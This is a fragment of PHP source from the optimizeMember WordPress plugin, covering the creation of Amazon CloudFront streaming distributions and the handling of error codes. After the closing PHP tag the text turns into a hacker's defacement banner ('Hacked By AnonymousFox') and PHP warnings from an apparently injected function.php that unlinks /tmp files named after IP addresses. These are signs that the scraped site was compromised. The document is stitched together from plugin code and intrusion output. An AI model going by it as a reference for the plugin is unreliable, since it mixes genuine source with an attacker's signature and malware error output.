											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon CloudFront Downloads Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
										/**/
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -98, "message" => _x("Unable to create Amazon CloudFront Downloads Distro. Connection failed.", "s2member-admin", "s2member"));
									}
								/**/
								else if /* Create a `streaming` Distro? A different XML schema. */($distro_type === "streaming")
									{
										$cf_location = /* Create streaming distro. */ "/2010-11-01/streaming-distribution";
										$cf_distro_streaming_reference = time().".".md5("streaming".$s3c["bucket"].$s3c["access_key"].$s3c["secret_key"].$cfc["private_key"].$cfc["private_key_id"].$cfc["distro_streaming_cname"]);
										$cf_distro_streaming_xml = '<?xml version="1.0" encoding="UTF-8"?><StreamingDistributionConfig xmlns="http://cloudfront.amazonaws.com/doc/2010-11-01/"><S3Origin><DNSName>'.esc_html($s3c["bucket"]).'.s3.amazonaws.com</DNSName><OriginAccessIdentity>origin-access-identity/cloudfront/'.esc_html($cfc["distros_access_id"]).'</OriginAccessIdentity></S3Origin><CallerReference>'.esc_html($cf_distro_streaming_reference).'</CallerReference>'.(($cfc["distro_streaming_cname"]) ? '<CNAME>'.esc_html($cfc["distro_streaming_cname"]).'</CNAME>' : '').'<Comment>'.esc_html(sprintf(_x("Created by optimizeMember, for S3 Bucket: %s.", "s2member-admin", "s2member"), $s3c["bucket"])).'</Comment><Enabled>true</Enabled><DefaultRootObject>index.html</DefaultRootObject><TrustedSigners><Self/></TrustedSigners></StreamingDistributionConfig>';
										$cf_args = array("method" => "POST", "redirection" => 0, "body" => $cf_distro_streaming_xml, "headers" => array("Host" => $cf_domain, "Content-Type" => "application/xml", "Date" => $cf_date, "Authorization" => "AWS ".$cfc["access_key"].":".$cf_signature));
										/**/
										if(($cf_response = c_ws_plugin__optimizemember_utils_urls::remote("https://".$cf_domain.$cf_location, false, array_merge($cf_args, array("timeout" => 20)), "array")) && ($cf_response["code"] === 200 || $cf_response["code"] === 201 /* Created. */))
											{
												if(preg_match("/\<StreamingDistribution.*?\>(.+?)\<\/StreamingDistribution\>/is", $cf_response["body"], $cf_distro_streaming_tag) && preg_match("/\<Id\>(.+?)\<\/Id\>/is", $cf_distro_streaming_tag[1], $cf_distro_streaming_id_tag) && preg_match("/\<DomainName\>(.+?)\<\/DomainName\>/is", $cf_distro_streaming_tag[1], $cf_distro_streaming_dname_tag))
													return array("success" => true, "code" => null, "message" => null, "distro_streaming_id" => trim($cf_distro_streaming_id_tag[1]), "distro_streaming_dname" => trim($cf_distro_streaming_dname_tag[1]));
												/**/
												else /* Else, we use a default error code and message. */
													return array("success" => false, "code" => -97, "message" => _x("Unable to create/read Amazon CloudFront Streaming Distro. Unexpected response.", "s2member-admin", "s2member"));
											}
										else if(isset($cf_response["code"], $cf_response["message"]))
											/* translators: In this translation, `%s` may be filled with an English message, which comes from the Amazon CloudFront API call. Feel free to exclude `%s` if you like. */
											return array("success" => false, "code" => $cf_response["code"], "message" => sprintf(_x("Unable to create Amazon CloudFront Streaming Distro. %s", "s2member-admin", "s2member"), $cf_response["message"]));
										/**/
										else /* Else, we use a default error code and message. */
											return array("success" => false, "code" => -98, "message" => _x("Unable to create Amazon CloudFront Streaming Distro. Connection failed.", "s2member-admin", "s2member"));
									}
							}
						else /* Else, we use a default error code and message. */
							return array("success" => false, "code" => -99, "message" => _x("Unable to create Amazon CloudFront Distro. Invalid Distro type.", "s2member-admin", "s2member"));
					}
			}
	}
?>

Hacked By AnonymousFox1.0, Coded By AnonymousFox
Warning: unlink(/tmp/138.201.207.117:802): Is a directory in /home/wxcglxzi/public_html/network/function.php on line 1

Warning: unlink(/tmp/142.11.217.94): Is a directory in /home/wxcglxzi/public_html/network/function.php on line 1

Warning: unlink(/tmp/142.11.217.94:80): Is a directory in /home/wxcglxzi/public_html/network/function.php on line 1

Warning: unlink(/tmp/94.217.11.142:80): Is a directory in /home/wxcglxzi/public_html/network/function.php on line 1